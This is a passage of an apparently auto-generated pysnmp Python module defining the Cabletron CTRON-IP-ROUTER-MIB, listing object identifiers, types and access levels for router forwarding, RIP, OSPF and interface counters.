nwIpFilters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 8))
nwIpRedirector = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9))
nwIpEvent = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10))
nwIpWorkGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11))
nwIpClientServices = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 12))
nwIpSysConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 1))
nwIpSysAdministration = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2))
nwIpFwdSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1))
nwIpFwdInterfaces = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2))
nwIpFwdCounters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1))
nwIpFwdIfConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1))
nwIpFwdIfCounters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2))
nwIpDistanceVector = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1))
nwIpLinkState = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2))
nwIpRip = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1))
nwIpRipSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1))
nwIpRipInterfaces = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2))
nwIpRipDatabase = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3))
nwIpRipFilters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 4))
nwIpRipConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1))
nwIpRipCounters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2))
nwIpRipIfConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1))
nwIpRipIfCounters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2))
nwIpOspf = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1))
nwIpOspfSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1))
nwIpOspfInterfaces = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2))
nwIpOspfDatabase = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 3))
nwIpOspfFilters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 4))
nwIpOspfConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1))
nwIpOspfCounters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2))
nwIpOspfIfConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1))
nwIpOspfIfCounters = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2))
nwIpFibSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1))
nwIpOspfFib = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2))
nwIpOspfFibControl = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1))
nwIpOspfFibEntries = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2))
nwIpHostsSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 1))
nwIpHostsInterfaces = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2))
nwIpHostsToMedia = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3))
nwIpRedirectorSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1))
nwIpRedirectorInterface = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 2))
nwIpEventLogConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1))
nwIpEventLogFilterTable = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2))
nwIpEventLogTable = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3))
nwIpMibRevText = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 1, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpMibRevText.setStatus('mandatory')
nwIpSysRouterId = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 1, 1), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpSysRouterId.setStatus('mandatory')
nwIpSysAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpSysAdminStatus.setStatus('mandatory')
nwIpSysOperStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5), ("invalid-config", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpSysOperStatus.setStatus('mandatory')
nwIpSysAdminReset = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpSysAdminReset.setStatus('mandatory')
nwIpSysOperationalTime = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpSysOperationalTime.setStatus('mandatory')
nwIpSysVersion = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 5), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpSysVersion.setStatus('mandatory')
nwIpFwdCtrAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdCtrAdminStatus.setStatus('mandatory')
nwIpFwdCtrReset = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdCtrReset.setStatus('mandatory')
nwIpFwdCtrOperationalTime = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 3), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrOperationalTime.setStatus('mandatory')
nwIpFwdCtrInPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrInPkts.setStatus('mandatory')
nwIpFwdCtrOutPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrOutPkts.setStatus('mandatory')
nwIpFwdCtrFwdPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrFwdPkts.setStatus('mandatory')
nwIpFwdCtrFilteredPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrFilteredPkts.setStatus('mandatory')
nwIpFwdCtrDiscardPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrDiscardPkts.setStatus('mandatory')
nwIpFwdCtrAddrErrPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrAddrErrPkts.setStatus('mandatory')
nwIpFwdCtrLenErrPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrLenErrPkts.setStatus('mandatory')
nwIpFwdCtrHdrErrPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHdrErrPkts.setStatus('mandatory')
nwIpFwdCtrInBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrInBytes.setStatus('mandatory')
nwIpFwdCtrOutBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrOutBytes.setStatus('mandatory')
nwIpFwdCtrFwdBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrFwdBytes.setStatus('mandatory')
nwIpFwdCtrFilteredBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 15), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrFilteredBytes.setStatus('mandatory')
nwIpFwdCtrDiscardBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 16), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrDiscardBytes.setStatus('mandatory')
nwIpFwdCtrHostInPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 17), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHostInPkts.setStatus('mandatory')
nwIpFwdCtrHostOutPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 18), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHostOutPkts.setStatus('mandatory')
nwIpFwdCtrHostDiscardPkts = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 19), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHostDiscardPkts.setStatus('mandatory')
nwIpFwdCtrHostInBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 20), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHostInBytes.setStatus('mandatory')
nwIpFwdCtrHostOutBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 21), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHostOutBytes.setStatus('mandatory')
nwIpFwdCtrHostDiscardBytes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 22), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdCtrHostDiscardBytes.setStatus('mandatory')
nwIpFwdIfTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1), )
if mibBuilder.loadTexts: nwIpFwdIfTable.setStatus('mandatory')
nwIpFwdIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpFwdIfIndex"))
if mibBuilder.loadTexts: nwIpFwdIfEntry.setStatus('mandatory')
nwIpFwdIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfIndex.setStatus('mandatory')
nwIpFwdIfAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfAdminStatus.setStatus('mandatory')
nwIpFwdIfOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5), ("invalid-config", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfOperStatus.setStatus('mandatory')
nwIpFwdIfOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfOperationalTime.setStatus('mandatory')
nwIpFwdIfControl = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("add", 2), ("delete", 3))).clone('add')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfControl.setStatus('mandatory')
nwIpFwdIfMtu = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 6), Integer32().clone(1500)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfMtu.setStatus('mandatory')
nwIpFwdIfForwarding = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfForwarding.setStatus('mandatory')
nwIpFwdIfFrameType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 5, 7, 8, 9, 11, 14, 16, 17))).clone(namedValues=NamedValues(("other", 1), ("ethernet", 2), ("snap", 3), ("slip", 5), ("localtalk", 7), ("nativewan", 8), ("encapenet", 9), ("encapenetsnap", 11), ("encaptrsnap", 14), ("encapfddisnap", 16), ("canonical", 17))).clone('ethernet')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfFrameType.setStatus('mandatory')
nwIpFwdIfAclIdentifier = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 9), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfAclIdentifier.setStatus('mandatory')
nwIpFwdIfAclStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfAclStatus.setStatus('mandatory')
nwIpFwdIfCacheControl = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disable", 2), ("enable", 3))).clone('enable')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfCacheControl.setStatus('mandatory')
nwIpFwdIfCacheEntries = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCacheEntries.setStatus('mandatory')
nwIpFwdIfCacheHits = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCacheHits.setStatus('mandatory')
nwIpFwdIfCacheMisses = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCacheMisses.setStatus('mandatory')
nwIpAddressTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2), )
if mibBuilder.loadTexts: nwIpAddressTable.setStatus('mandatory')
nwIpAddrEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpAddrIfIndex"), (0, "CTRON-IP-ROUTER-MIB", "nwIpAddrIfAddress"))
if mibBuilder.loadTexts: nwIpAddrEntry.setStatus('mandatory')
nwIpAddrIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 1), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAddrIfIndex.setStatus('mandatory')
nwIpAddrIfAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 2), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAddrIfAddress.setStatus('mandatory')
nwIpAddrIfControl = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("add", 2), ("delete", 3))).clone('add')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAddrIfControl.setStatus('mandatory')
nwIpAddrIfAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("other", 1), ("primary", 2), ("secondary", 3), ("workgroup", 4))).clone('primary')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAddrIfAddrType.setStatus('mandatory')
nwIpAddrIfMask = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 5), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAddrIfMask.setStatus('mandatory')
nwIpAddrIfBcastAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("zeros", 2), ("ones", 3))).clone('ones')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAddrIfBcastAddr.setStatus('mandatory')
nwIpFwdIfCtrTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1), )
if mibBuilder.loadTexts: nwIpFwdIfCtrTable.setStatus('mandatory')
nwIpFwdIfCtrEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpFwdIfCtrIfIndex"))
if mibBuilder.loadTexts: nwIpFwdIfCtrEntry.setStatus('mandatory')
nwIpFwdIfCtrIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrIfIndex.setStatus('mandatory')
nwIpFwdIfCtrAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfCtrAdminStatus.setStatus('mandatory')
nwIpFwdIfCtrReset = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpFwdIfCtrReset.setStatus('mandatory')
nwIpFwdIfCtrOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrOperationalTime.setStatus('mandatory')
nwIpFwdIfCtrInPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrInPkts.setStatus('mandatory')
nwIpFwdIfCtrOutPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrOutPkts.setStatus('mandatory')
nwIpFwdIfCtrFwdPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrFwdPkts.setStatus('mandatory')
nwIpFwdIfCtrFilteredPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrFilteredPkts.setStatus('mandatory')
nwIpFwdIfCtrDiscardPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrDiscardPkts.setStatus('mandatory')
nwIpFwdIfCtrAddrErrPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrAddrErrPkts.setStatus('mandatory')
nwIpFwdIfCtrLenErrPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrLenErrPkts.setStatus('mandatory')
nwIpFwdIfCtrHdrErrPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHdrErrPkts.setStatus('mandatory')
nwIpFwdIfCtrInBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrInBytes.setStatus('mandatory')
nwIpFwdIfCtrOutBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrOutBytes.setStatus('mandatory')
nwIpFwdIfCtrFwdBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 15), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrFwdBytes.setStatus('mandatory')
nwIpFwdIfCtrFilteredBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 16), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrFilteredBytes.setStatus('mandatory')
nwIpFwdIfCtrDiscardBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 17), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrDiscardBytes.setStatus('mandatory')
nwIpFwdIfCtrHostInPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 18), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpFwdIfCtrHostInPkts.setStatus('mandatory')
